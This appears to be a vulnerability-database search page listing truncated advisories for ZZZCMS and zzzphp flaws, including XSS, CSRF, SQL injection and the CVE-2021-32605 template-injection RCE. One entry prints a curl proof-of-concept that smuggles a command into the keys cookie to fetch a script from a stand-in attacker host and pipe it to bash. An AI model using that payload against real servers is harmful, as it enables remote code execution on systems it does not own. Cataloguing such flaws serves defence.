168 matches found
CVE-2020-19683
A Cross Site Scripting XSS exists in ZZZCMS V1.7.1 via an editfile action in save.php...
Cross site scripting
A Cross Site Scripting XSS exists in ZZZCMS V1.7.1 via an editfile action in save.php...
Cross site request forgery (csrf)
A Cross Site Request Forgery CSRF vulnerability exits in ZZZCMS V1.7.1 via the saveuser funciton in save.php...
CVE-2020-19683
CVE-2020-19683 affects ZZZCMS CMS version 1.7.1, with a Cross-Site Scripting (XSS) vulnerability exploitable via the editfile action in save.php. The root cause is lack of proper data validation/filtering of user-supplied and output data in the editfile/save pathway. Public sources (CNVD/CNNVD an...
CVE-2020-19683
A Cross Site Scripting XSS exists in ZZZCMS V1.7.1 via an editfile action in save.php...
CVE-2020-19682
A Cross Site Request Forgery CSRF vulnerability exits in ZZZCMS V1.7.1 via the saveuser funciton in save.php...
CVE-2020-19682
CVE-2020-19682 is a CSRF vulnerability in ZZZCMS V1.7.1, exposed via the save_user function in save.php. Multiple sources (NVD, Red Hat, CVE lists, CNNVD) describe the issue as CSRF due to a lack of token validation in the save_user path. CVSS metrics indicate a high-severity impact (CVSS 3.1: Ne...
zzzcms zzzphp parserIfLabel模板注入远程执行代码漏洞（CVE-2021-32605）
curl -b 'keys=if:=curl http://attacker.tld/poc.sh|bashend if' 'http://target.tld/?location=search'...
Zzzcms Command Injection Vulnerability
ZZZCMS zzzphp is a content management system CMS. A security vulnerability exists in Zzzcms prior to version 2.0.4. The vulnerability stems from the failure of a network system or product to properly filter special characters, commands, etc. during the execution of user input construction command...
CVE-2021-32605
zzzcms zzzphp before 2.0.4 allows remote attackers to execute arbitrary OS commands by placing them in the keys parameter of a ?location=search URI, as demonstrated by an OS command within an "if" "end if" block...
CVE-2021-32605
zzzcms zzzphp before 2.0.4 allows remote attackers to execute arbitrary OS commands by placing them in the keys parameter of a ?location=search URI, as demonstrated by an OS command within an "if" "end if" block...
CVE-2021-32605
zzzcms zzzphp before 2.0.4 allows remote attackers to execute arbitrary OS commands by placing them in the keys parameter of a ?location=search URI, as demonstrated by an OS command within an "if" "end if" block...
Design/Logic Flaw
zzzcms zzzphp before 2.0.4 allows remote attackers to execute arbitrary OS commands by placing them in the keys parameter of a ?location=search URI, as demonstrated by an OS command within an "if" "end if" block...
CVE-2021-32605
The CVE-2021-32605 entry concerns zzzcms/zzzphp before 2.0.4, where the parserIfLabel template processing fails to validate user-provided keys in the ?location=search flow, enabling remote code execution. The vulnerability allows an attacker to run arbitrary OS commands or code via a crafted keys...
CVE-2021-32605
zzzcms zzzphp before 2.0.4 allows remote attackers to execute arbitrary OS commands by placing them in the keys parameter of a ?location=search URI, as demonstrated by an OS command within an "if" "end if" block...
Zzzcms 操作系统命令注入漏洞
ZZZCMS zzzphp is a content management system CMS. A security vulnerability exists in Zzzcms prior to version 2.0.4. The vulnerability stems from the failure of a network system or product to properly filter special characters, commands, etc. during the execution of user input construction command...
SRC-2021-0015 : zzzcms zzzphp parserIfLabel Template Injection Remote Code Execution Vulnerability
Vulnerability Details: This vulnerability allows remote attackers to execute arbitrary code on affected installations of zzzphp. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of the search template. The issue results from the lack of...
ZZZCMS zzzphp SQL Injection Vulnerability
ZZZCMS zzzphp is a content management system CMS. A security vulnerability exists in ZZZCMS zzzphp version 1.7.1, which allows remote attackers to exploit the vulnerability to execute arbitrary code...